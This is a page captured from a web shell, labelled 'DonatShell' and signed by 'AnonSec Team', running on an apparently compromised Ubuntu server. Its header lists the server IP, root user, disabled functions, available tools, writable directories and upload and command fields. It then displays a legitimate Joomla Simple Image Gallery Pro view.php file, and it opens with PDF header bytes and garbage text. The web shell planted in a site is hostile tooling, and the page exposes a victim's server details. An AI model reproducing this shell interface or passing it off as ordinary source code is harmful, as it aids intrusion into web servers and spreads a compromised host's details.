%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_sigpro/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_sigpro/views/view.php
<?php
/**
 * @version		$Id: view.php 3455 2013-08-27 15:36:43Z joomlaworks $
 * @package		Simple Image Gallery Pro
 * @author		JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		http://www.joomlaworks.net/license
 */

// no direct access
defined('_JEXEC') or die ;

jimport('joomla.application.component.view');

if (version_compare(JVERSION, '3.0', 'ge'))
{
	class SigProViewBase extends JViewLegacy
	{
	}

}
else
{
	class SigProViewBase extends JView
	{
	}

}

class SigProView extends SigProViewBase
{

	public function __construct($config = array())
	{

		// Parent construct
		parent::__construct($config);

		// Add common variables to the view
		$mainframe = JFactory::getApplication();

		$option = JRequest::getCmd('option');
		$this->assignRef('option', $option);

		$view = JRequest::getCmd('view');
		$this->assignRef('view', $view);

		$task = JRequest::getCmd('task');
		$this->assignRef('task', $task);

		$type = JRequest::getCmd('type', 'site');
		$this->assignRef('type', $type);

		$limit = $mainframe->getUserStateFromRequest('global.list.limit', 'limit', $mainframe->getCfg('list_limit'), 'int');
		$this->assignRef('limit', $limit);

		$limitstart = $mainframe->getUserStateFromRequest($option.$view.$type.'.limitstart', 'limitstart', 0, 'int');
		$this->assignRef('limitstart', $limitstart);

		$sorting = $mainframe->getUserStateFromRequest($option.$view.$type.'sorting', 'sorting', 'modified DESC', 'string');
		$this->assignRef('sorting', $sorting);

		$folder = SigProHelper::getVar('folder');
		$this->assignRef('folder', $folder);

		$params = JComponentHelper::getParams('com_sigpro');
		$this->assignRef('params', $params);

		$tmpl = JRequest::getCmd('tmpl', 'index');
		$this->assignRef('tmpl', $tmpl);

		$template = JRequest::getCmd('template');
		$this->assignRef('template', $template);

		$editorName = JRequest::getCmd('editorName');
		$this->assignRef('editorName', $editorName);

		$languages = SiGProHelper::getLanguagesList();
		$this->assignRef('languages', $languages);

		$language = JRequest::getCmd('sigLang');
		$this->assign('language', $language);

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			$version = '30';
		}
		elseif (version_compare(JVERSION, '2.5', 'ge'))
		{
			$version = '25';
		}
		else
		{
			$version = '15';
		}
		$this->assignRef('version', $version);

		$options = array();
		$options[] = JHTML::_('select.option', '', JText::_('COM_SIGPRO_USE_COMPONENT_SETTING'));
		$options[] = JHTML::_('select.option', 0, JText::_('COM_SIGPRO_NORMAL'));
		$options[] = JHTML::_('select.option', 1, JText::_('COM_SIGPRO_SINGLE_THUMBNAIL'));
		$displayMode = JHTML::_('select.genericlist', $options, 'displayMode', '', 'value', 'text');
		$this->assign('displayMode', $displayMode);

		$options = array();
		$options[] = JHTML::_('select.option', '', JText::_('COM_SIGPRO_USE_COMPONENT_SETTING'));
		$options[] = JHTML::_('select.option', 0, JText::_('COM_SIGPRO_NO_CAPTIONS'));
		$options[] = JHTML::_('select.option', 1, JText::_('COM_SIGPRO_SHOW_GENERIC_MESSAGES'));
		$options[] = JHTML::_('select.option', 2, JText::_('COM_SIGPRO_READ_CONTENTS_OF_CAPTION_FILES'));
		$captionsMode = JHTML::_('select.genericlist', $options, 'captionsMode', '', 'value', 'text');
		$this->assign('captionsMode', $captionsMode);

		// Add layout path
		$this->addTemplatePath(JPATH_ADMINISTRATOR.'/components/'.$this->option.'/layouts');
		$this->addTemplatePath(JPATH_ADMINISTRATOR.'/components/'.$this->option.'/views/'.$this->view.'/tmpl');

		// Add title and toolbar depending on contenxt
		if (class_exists('JToolBarHelper'))
		{
			switch ($view)
			{
				case 'galleries' :
					if ($task == 'add')
					{
						JToolBarHelper::title(JText::_('COM_SIGPRO_ADD_GALLERY'), 'sigPro');
					}
					else
					{
						JToolBarHelper::title(($type == 'k2') ? JText::_('COM_SIGPRO_K2_GALLERIES') : JText::_('COM_SIGPRO_SITE_GALLERIES'), 'sigPro');
					}
					break;

				case 'gallery' :
					JToolBarHelper::title(JText::_('COM_SIGPRO_EDIT_GALLERY'), 'sigPro');
					break;

				case 'media' :
				case 'info' :
					if ($view == 'info')
					{
						JToolBarHelper::title(JText::_('COM_SIGPRO_INFORMATION'), 'sigPro');
					}
					else
					{
						JToolBarHelper::title(JText::_('COM_SIGPRO_MEDIA_MANAGER'), 'sigPro');
					}
					break;
				case 'settings' :
					JToolBarHelper::title(JText::_('COM_SIGPRO_SETTINNGS'), 'sigPro');
					break;
			}

		}

		// Add permissions object to the view
		$user = JFactory::getUser();
		$permissions = new stdClass;
		$permissions->create = version_compare(JVERSION, '1.6', 'ge') ? $user->authorise('core.create', 'com_sigpro') : true;
		$permissions->edit = version_compare(JVERSION, '1.6', 'ge') ? $user->authorise('core.edit', 'com_sigpro') : true;
		$permissions->delete = version_compare(JVERSION, '1.6', 'ge') ? $user->authorise('core.delete', 'com_sigpro') : true;
		if ($this->type == 'k2' || $mainframe->isSite())
		{
			$permissions->create = true;
			$permissions->edit = true;
			$permissions->delete = true;
		}
		$this->assignRef('permissions', $permissions);

		// Add styles and scripts if we are in an HTML document
		$document = JFactory::getDocument();
		if ($document->getType() == 'html')
		{

			// Meta Heading
			$document = JFactory::getDocument();
			$document->setMetaData("viewport", "width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no");

			JHTML::_('behavior.keepalive');
			if ($this->tmpl == 'component' && version_compare(JVERSION, '1.6.0', 'lt'))
			{
				$mainframe = JFactory::getApplication();
				$document->addStyleSheet(JURI::root(true).'/administrator/templates/system/css/system.css');
				$document->addStyleSheet(JURI::root(true).'/administrator/templates/'.$mainframe->getTemplate().'/css/icon.css');
			}
			$document->addStyleSheet('//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,400,300,600,700&subset=latin,cyrillic,greek,vietnamese');
			$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/css/fonts.css?v=3.0.4');
			$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/css/style.css?v=3.0.4');
			// elFinder crop and rotate operations are broken under latest versions of jQuery and jQuery UI and we need to load specific versions for this view
			if ($view == 'media')
			{
				$document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js');
			}
			else
			{
				$document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.8/jquery.min.js');
			}
			$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/chosen.jquery.min.js?v=3.0.4');
			$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/script.js?v=3.0.4');
			$document->addScriptDeclaration("var sigProLanguage = new Array('".JText::_('COM_SIGPRO_CHECKING', true)."');");
			// Load the uploader where needed
			if ($view == 'gallery')
			{
				// Load SwipeBox
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/swipebox/ios-orientationchange-fix.js?v=3.0.4');
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/swipebox/jquery.swipebox.min.js?v=3.0.4');
				$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/js/swipebox/swipebox.css?v=3.0.4');

				// Load variables used by the uploader
				$document->addScriptDeclaration('var SIGMaxFileSize = "'.ini_get('upload_max_filesize').'"; var SIGDeleteWarning = "'.JText::_('COM_SIGPRO_DELETE_WARNING', true).'"; var SIGImagesLabel = "'.JText::_('COM_SIGPRO_IMAGES', true).'";');

				// Load the plupload script
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/plupload.js?v=3.0.4');

				// Load the plupload runtimes. Add more?
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/plupload.flash.js?v=3.0.4');
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/plupload.html4.js?v=3.0.4');
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/plupload.html5.js?v=3.0.4');

				// Load the queue widget styles and scripts
				//$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/jquery.plupload.queue/css/jquery.plupload.queue.css');
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/jquery.plupload.queue/jquery.plupload.queue.js?v=3.0.4');

				// Try to load the approprieate language file for the uploader
				$language = JFactory::getLanguage();
				$tag = $language->getTag();
				$tag = str_replace('-', '_', $tag);
				$lang = false;
				if (JFile::exists(JPATH_COMPONENT.'/js/plupload/i18n/'.$tag.'.js'))
				{
					$lang = $tag;
				}
				else
				{
					$parts = @explode('_', $tag);
					if (isset($parts[0]) && JFile::exists(JPATH_COMPONENT_ADMINISTRATOR.'/js/plupload/i18n/'.$parts[0].'.js'))
					{
						$lang = $parts[0];
					}
				}
				if ($lang)
				{
					$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/plupload/i18n/'.$lang.'.js?v=3.0.4');
				}

			}
			if ($view == 'media')
			{
				$document->addStyleSheet('//ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css');
				$document->addScript('//ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js');
				$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/js/elfinder/css/elfinder.min.css?v=3.0.4');
				$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/js/elfinder/css/theme.css?v=3.0.4');
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/elfinder/js/elfinder.min.js?v=3.0.4');

				// Try to load the approprieate language file for the media manager
				$language = JFactory::getLanguage();
				$tag = $language->getTag();
				$tag = str_replace('-', '_', $tag);
				$lang = false;
				if (JFile::exists(JPATH_COMPONENT.'/js/elfinder/js/i18n/elfinder.'.$tag.'.js'))
				{
					$lang = $tag;
				}
				else
				{
					$parts = @explode('_', $tag);
					if (isset($parts[0]) && JFile::exists(JPATH_COMPONENT.'/js/elfinder/js/i18n/elfinder.'.$parts[0].'.js'))
					{
						$lang = $parts[0];
					}
				}
				if ($lang)
				{
					$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/elfinder/js/i18n/elfinder.'.$lang.'.js?v=3.0.4');
					$document->addScriptDeclaration('var sigProMediaManagerLang = "'.$lang.'";');
				}
				else
				{
					$document->addScriptDeclaration('var sigProMediaManagerLang = "en";');
				}
			}

		}

		// Add the toolbar and the title to the view.
		if ($mainframe->isAdmin())
		{
			$title = $mainframe->JComponentTitle;
		}
		else
		{
			$title = ($this->type == 'k2') ? JText::_('COM_SIGPRO_K2_GALLERIES') : JText::_('COM_SIGPRO_SITE_GALLERIES');
		}
		$this->assignRef('title', $title);
		if ($this->tmpl == 'component' && class_exists('JToolBar'))
		{
			$toolbar = JToolBar::getInstance('toolbar');
			$toolbar = $toolbar->render('toolbar');
			$this->assignRef('toolbar', $toolbar);
		}

	}

	public function display($tpl = null)
	{
		// Add the menu layout
		if ($this->tmpl == 'component')
		{
			$menu = '';
		}
		else
		{
			ob_start();
			include JPATH_COMPONENT_ADMINISTRATOR.'/layouts/menu.php';
			$menu = ob_get_clean();
		}
		$this->assign('menu', $menu);

		// Add the sidebar layout
		ob_start();
		include JPATH_COMPONENT_ADMINISTRATOR.'/layouts/sidebar.php';
		$sidebar = ob_get_clean();
		$this->assign('sidebar', $sidebar);

		if (isset($this->pagination))
		{

			$pagination = $this->pagination;
			if (version_compare(JVERSION, '3.0', 'lt'))
			{
				$pagination->pagesCurrent = $this->pagination->get('pages.current');
				$pagination->pagesTotal = $this->pagination->get('pages.total');
				$pagination->pagesStart = $this->pagination->get('pages.start');
				$pagination->pagesStop = $this->pagination->get('pages.stop');
			}

			// Add the pagination layout
			ob_start();
			include JPATH_COMPONENT_ADMINISTRATOR.'/layouts/pagination.php';
			$pagination = ob_get_clean();
			$this->assign('pagination', $pagination);

		}
		parent::display($tpl);
	}

}

Anon7 - 2022
AnonSec Team